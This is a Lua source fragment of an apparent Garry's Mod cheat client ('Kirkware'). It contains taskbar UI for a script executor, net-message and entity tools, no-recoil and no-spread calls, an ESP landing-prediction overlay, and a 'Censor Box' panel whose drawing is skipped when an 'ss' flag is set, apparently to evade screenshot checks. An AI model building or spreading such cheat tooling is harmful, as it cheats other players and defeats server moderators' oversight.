if IsValid(censorBoxPanel) then return end
censorBoxPanel = vgui.Create("EditablePanel")
censorBoxPanel:SetSize(200, 200)
censorBoxPanel:SetPos(100, 100)
censorBoxPanel:SetZPos(32767)
censorBoxPanel:SetVisible(false)
local isDragging = false
local dragOffset = { x = 0, y = 0 }
local isResizing = false
local resizeMode = 0 -- 1: R, 2: B, 3: RB
function censorBoxPanel:GetHoverMode()
local mx, my = self:CursorPos()
local w, h = self:GetSize()
local edge = 10
if mx > w - edge and my > h - edge then return 3
elseif mx > w - edge then return 1
elseif my > h - edge then return 2
end
return 0
end
function censorBoxPanel:OnMousePressed(code)
if code == MOUSE_LEFT then
local mode = self:GetHoverMode()
if mode > 0 then
isResizing = true
resizeMode = mode
else
isDragging = true
local mx, my = gui.MousePos()
local px, py = self:GetPos()
dragOffset.x = mx - px
dragOffset.y = my - py
end
self:MouseCapture(true)
end
end
function censorBoxPanel:OnMouseReleased(code)
if code == MOUSE_LEFT then
isDragging = false
isResizing = false
self:MouseCapture(false)
end
end
function censorBoxPanel:Think()
if isDragging then
local mx, my = gui.MousePos()
self:SetPos(mx - dragOffset.x, my - dragOffset.y)
elseif isResizing then
local mx, my = self:CursorPos()
local w, h = self:GetSize()
if resizeMode == 1 then self:SetWide(math.max(20, mx))
elseif resizeMode == 2 then self:SetTall(math.max(20, my))
elseif resizeMode == 3 then
self:SetSize(math.max(20, mx), math.max(20, my))
end
end
local mode = self:GetHoverMode()
if isResizing or mode == 3 then self:SetCursor("sizenwse")
elseif mode == 1 then self:SetCursor("sizewe")
elseif mode == 2 then self:SetCursor("sizens")
else self:SetCursor("arrow") end
end
function censorBoxPanel:Paint(w, h)
-- Drawing is done in PostRender for maximum top-levelness
if GUI.visible then
surface.SetDrawColor(0, 0, 0, 150)
surface.DrawRect(0, 0, w, h)
surface.SetDrawColor(100, 150, 220, 255)
surface.DrawOutlinedRect(0, 0, w, h)
draw.SimpleText("Censor Box", "KirkElement", 5, 5, Color(255, 255, 255))
end
end
end
DrawTaskbar = function()
if not Taskbar.open then return end
local scrW = ScrW()
local scrH = ScrH()
local barH = 34
local barY = scrH - barH
local padX = 10
local btnGap = 4
local btnH = barH - 8
local btnY = barY + 4
surface.SetDrawColor(COL_TAB_BG.r, COL_TAB_BG.g, COL_TAB_BG.b, COL_TAB_BG.a)
surface.DrawRect(0, barY, scrW, barH)
surface.SetDrawColor(COL_TAB_BORDER.r, COL_TAB_BORDER.g, COL_TAB_BORDER.b, COL_TAB_BORDER.a)
surface.DrawLine(0, barY, scrW, barY)
surface.SetFont("KirkElement")
local mx, my = input.GetCursorPos()
local curX = padX
for i, btn in ipairs(Taskbar.buttons) do
local txtW = surface.GetTextSize(btn.label)
local btnW = txtW + 20
local hovered = mx >= curX and mx <= curX + btnW and my >= btnY and my <= btnY + btnH
local bgColor
if btn.active then
bgColor = COL_KIRK_BLUE
elseif hovered then
bgColor = COL_TAB_HOVER
else
bgColor = Color(20, 25, 35, 200)
end
surface.SetDrawColor(bgColor.r, bgColor.g, bgColor.b, bgColor.a)
surface.DrawRect(curX, btnY, btnW, btnH)
surface.SetDrawColor(COL_TAB_BORDER.r, COL_TAB_BORDER.g, COL_TAB_BORDER.b, COL_TAB_BORDER.a)
surface.DrawOutlinedRect(curX, btnY, btnW, btnH)
local txtCol = btn.active and Color(255, 255, 255) or COL_TAB_OFF
surface.SetTextColor(txtCol.r, txtCol.g, txtCol.b, 255)
surface.SetTextPos(curX + 10, btnY + (btnH - select(2, surface.GetTextSize(btn.label))) / 2)
surface.DrawText(btn.label)
if hovered and input.IsMouseDown(MOUSE_LEFT) and (CurTime() - Taskbar.lastClick) > 0.25 then
Taskbar.lastClick = CurTime()
if btn.label == "Menu" then
btn.active = not btn.active
GUI.visible = btn.active
if not btn.active then
GUI.configFocused = false
end
elseif btn.label == "Executor" then
btn.active = not btn.active
if btn.active then VSGL_pendingOpen = true else VSGL_SetVisible(false) end
elseif btn.label == "Nets" then
btn.active = not btn.active
if btn.active then NETS_pendingOpen = true else NETS_SetVisible(false) end
elseif btn.label == "Entities" then
btn.active = not btn.active
if btn.active then ENT_pendingOpen = true else ENT_SetVisible(false) end
elseif btn.label == "Censor Box" then
btn.active = not btn.active
censorBoxVisible = btn.active
if btn.active then
if not IsValid(censorBoxPanel) then InitCensorBox() end
censorBoxPanel:SetVisible(true)
else
if IsValid(censorBoxPanel) then censorBoxPanel:SetVisible(false) end
end
else
btn.active = not btn.active
local state = btn.active and "Enabled" or "Disabled"
MsgC(Color(255, 255, 255), state, COL_KIRK_BLUE, " " .. btn.label, "\n")
end
end
curX = curX + btnW + btnGap
end
end
local _lastWatermarkUpdate = 0
hook.Add("Think", "thinker", function()
-- Pending VGUI builds (deferred out of paint hooks)
if VSGL_pendingOpen then
VSGL_pendingOpen = false
VSGL_Build()
end
if NETS_pendingOpen then
NETS_pendingOpen = false
NETS_Build()
end
if ENT_pendingOpen then
ENT_pendingOpen = false
ENT_Build()
end
-- Watermark position (throttled: only update every 0.5s)
local now = RealTime()
if now - _lastWatermarkUpdate > 0.5 then
_lastWatermarkUpdate = now
UpdateWatermark()
end
MenuInput()
ProcessNoRecoil()
ProcessNoSpread()
ProcessDisableInterp()
if input.IsKeyDown(KEY_INSERT) then
if not _lastToggle or (CurTime() - _lastToggle) > 0.3 then
Taskbar.open = not Taskbar.open
gui.EnableScreenClicker(Taskbar.open)
if not Taskbar.open then
GUI.visible = false
GUI.configFocused = false
if VSGL_SetVisible then VSGL_SetVisible(false) end
if NETS_SetVisible then NETS_SetVisible(false) end
if ENT_SetVisible then ENT_SetVisible(false) end
else
GUI.visible = Taskbar.buttons[1].active
if IsValid(VSGL_FRAME) and VSGL_GetBtn() and VSGL_GetBtn().active then
VSGL_FRAME:SetVisible(true)
VSGL_FRAME:MakePopup()
end
if IsValid(NETS_FRAME) and NETS_GetBtn() and NETS_GetBtn().active then
NETS_FRAME:SetVisible(true)
NETS_FRAME:MakePopup()
end
end
_lastToggle = CurTime()
end
end
local _ply = LocalPlayer()
if IsValid(_ply) then
local _alive = _ply:Alive()
if kewlWasAlive and not _alive then
kewlSession.deaths = kewlSession.deaths + 1
end
kewlWasAlive = _alive
end
end)
-- Simple text entry handling
hook.Add("KeyPress", "KirkwareInput", function(ply, key)
if not GUI.visible or not GUI.configFocused then return end
local keyName = input.GetKeyName(key)
if not keyName then return end
if key == KEY_BACKSPACE then
GUI.configName = string.sub(GUI.configName, 1, -2)
return
end
if key == KEY_ENTER then
GUI.configFocused = false
return
end
if string.len(keyName) == 1 then
GUI.configName = GUI.configName .. keyName
elseif keyName == "SPACE" then
GUI.configName = GUI.configName .. " "
end
end)
hook.Add("OnReloaded", "cleanup", function()
RemoveWatermark()
end)
local PDVM_d = false
hook.Add("PreDrawViewModel", "vmfov_override", function(vm, ply, wep)
if config.viewmodelFov > 0 and not ss and not PDVM_d and ply == LocalPlayer() then
cam.Start3D(nil, nil, config.viewmodelFov)
cam.IgnoreZ(true)
PDVM_d = true
vm:DrawModel()
PDVM_d = false
cam.IgnoreZ(false)
cam.End3D()
return true
end
end)
--------------------------------------------------------------------------------
-- VELOCITY VIEWER (not pasted from ncmd)
--------------------------------------------------------------------------------
local mfloor = math.floor
local mabs = math.abs
local mMin = math.Min
local function landpos(v)
if not config.espVelocityViewer then return end
if v:WaterLevel() ~= 0 then return end
if v:IsOnGround() then return end
local g = GetConVar('sv_gravity'):GetFloat()
local pos = v:GetPos()
local speed = v:GetVelocity()
local horizontalSpeed = Vector(speed.x, speed.y, 0)
local time = speed.z / g
local vertDist = 0.5 * g * time * time
local startPos = pos + Vector(0, 0, vertDist) + horizontalSpeed * time
speed.z = mMin(-300, -mabs(speed.z))
local trace = util.TraceLine({
start = pos,
endpos = pos + speed * 100000000,
filter = {v}
})
local landingPos = startPos
local t = -time
while landingPos.z > trace.HitPos.z and t < 10 do
local vert = 0.5 * g * t * t
landingPos = startPos + horizontalSpeed * t - Vector(0, 0, vert)
t = t + 0.01
end
local endTrace = util.QuickTrace(pos, (landingPos - pos) * 2, v)
local rainbow = HSVToColor((CurTime() * 100) % 360, 1, 1)
local ouch = startPos.z - trace.HitPos.z
local col = ouch >= 240 and Color(255, 0, 0) or rainbow
cam.Start3D()
local origin = v:GetPos()
local dest = endTrace.HitPos
local midPoint = (origin + dest) * 0.5
midPoint.z = math.max(origin.z, dest.z) + origin:Distance(dest) * 0.15
local segments = 32
local prev = origin
for i = 1, segments do
local f = i / segments
local inv = 1 - f
local pt = origin * (inv * inv) + midPoint * (2 * inv * f) + dest * (f * f)
render.DrawLine(prev, pt, col, true)
prev = pt
end
local radius = 40
local up = trace.HitNormal:Angle():Up()
local right = trace.HitNormal:Angle():Right()
local circleSegments = 32
local prevCircle = dest + right * radius
for i = 1, circleSegments do
local a = (i / circleSegments) * math.pi * 2
local nextCircle = dest + right * math.cos(a) * radius + up * math.sin(a) * radius
render.DrawLine(prevCircle, nextCircle, col, true)
prevCircle = nextCircle
end
cam.End3D()
end
hook.Add("RenderScreenspaceEffects", "SelfLandPrediction", function()
if ss or not config.espVelocityViewer then return end
if not LocalPlayer():Alive() then return end
landpos(LocalPlayer())
end)